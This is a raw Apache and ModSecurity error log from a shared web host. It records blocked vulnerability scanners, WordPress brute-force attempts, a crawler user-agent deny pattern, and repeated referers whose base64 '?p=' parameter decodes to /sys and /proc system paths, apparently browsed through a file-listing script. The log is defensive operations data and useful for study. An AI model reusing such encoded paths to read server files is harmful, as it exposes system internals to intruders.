https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:45.237430 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:45.251281 2026] [access_compat:error] [pid 531797:tid 531892] [remote 57.141.14.38:60627] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:45.251579 2026] [access_compat:error] [pid 531797:tid 531892] [remote 57.141.14.38:60627] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:45.288052 2026] [security2:error] [pid 531155:tid 531254] [remote 17.241.75.185:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 185.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xwSmiP80klyS0NnoABAABTmI"] [Sat Jun 13 18:11:45.348380 2026] [security2:error] [pid 531155:tid 531307] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/strripos_offset.phpt"] [unique_id "ai3xwSmiP80klyS0NnoACQAAASA"] [Sat Jun 13 18:11:45.526383 2026] [security2:error] [pid 531797:tid 532102] [client 47.128.112.111:34864] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.paulmercer.me"] [uri "/robots.txt"] [unique_id "ai3xwcTA7b1mZrmcA-8vZgAAAns"] [Sat Jun 13 18:11:45.561170 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.20:59566] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:45.561451 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.20:59566] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:45.577133 2026] [security2:error] [pid 531797:tid 532037] [client 189.217.192.30:49701] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "200"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3xwcTA7b1mZrmcA-8vXAAAAjw"] [Sat Jun 13 18:11:45.618088 2026] [access_compat:error] [pid 531155:tid 531164] [remote 57.141.14.31:30448] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:45.618351 2026] [access_compat:error] [pid 531155:tid 531164] [remote 57.141.14.31:30448] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:45.788549 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:11:45.788963 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:11:46.203458 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:47660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:11:46.203931 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:47660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:11:46.265462 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZQ== [Sat Jun 13 18:11:46.265911 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZQ== [Sat Jun 13 18:11:46.294603 2026] [security2:error] [pid 531155:tid 531200] [remote 103.200.22.140:49220] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.22.200.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "madagascar-foundation.org"] [uri "/wp-login.php"] [unique_id "ai3xwimiP80klyS0NnoAHgABHiw"] [Sat Jun 13 18:11:46.671910 2026] [security2:error] [pid 531155:tid 531235] [remote 17.241.227.14:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xwimiP80klyS0NnoAJQABa08"] [Sat Jun 13 18:11:46.821576 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.53:37796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:46.821874 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.53:37796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:46.849297 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:11:46.849569 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:11:46.919689 2026] [security2:error] [pid 531155:tid 531282] [remote 103.200.22.140:49220] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.22.200.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "madagascar-foundation.org"] [uri "/wp-login.php"] [unique_id "ai3xwimiP80klyS0NnoAKQABGn4"], referer: https://madagascar-foundation.org/wp-login.php [Sat Jun 13 18:11:46.954874 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.91:49140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:46.955201 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.91:49140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:46.973099 2026] [security2:error] [pid 531797:tid 531915] [remote 17.22.253.8:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 8.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xwsTA7b1mZrmcA-8vjgACdjM"] [Sat Jun 13 18:11:46.976191 2026] [security2:error] [pid 531155:tid 531181] [remote 216.73.216.182:4582] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3xwimiP80klyS0NnoAKwABeBk"] [Sat Jun 13 18:11:46.997534 2026] [security2:error] [pid 531155:tid 531234] [remote 17.22.253.35:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 35.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xwimiP80klyS0NnoALQABcE4"] [Sat Jun 13 18:11:47.402275 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:11:47.402736 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:11:47.448412 2026] [security2:error] [pid 531155:tid 531265] [remote 17.241.75.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xwymiP80klyS0NnoARgABWG0"] [Sat Jun 13 18:11:47.787118 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.51:43634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:47.787573 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.51:43634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:47.812574 2026] [security2:error] [pid 531155:tid 531217] [remote 17.241.219.94:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 94.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xwymiP80klyS0NnoATAABWj0"] [Sat Jun 13 18:11:47.939307 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:47.939780 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:47.952704 2026] [security2:error] [pid 531797:tid 531952] [remote 17.246.15.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xw8TA7b1mZrmcA-8vrAACaFg"] [Sat Jun 13 18:11:48.397812 2026] [security2:error] [pid 531797:tid 531957] [remote 17.246.19.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xxMTA7b1mZrmcA-8vwgACkl0"] [Sat Jun 13 18:11:48.461159 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:11:48.461582 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:11:48.494801 2026] [access_compat:error] [pid 531797:tid 531882] [remote 57.141.14.67:30593] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:48.495247 2026] [access_compat:error] [pid 531797:tid 531882] [remote 57.141.14.67:30593] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:48.522083 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.2:39287] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:48.522522 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.2:39287] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:48.937488 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 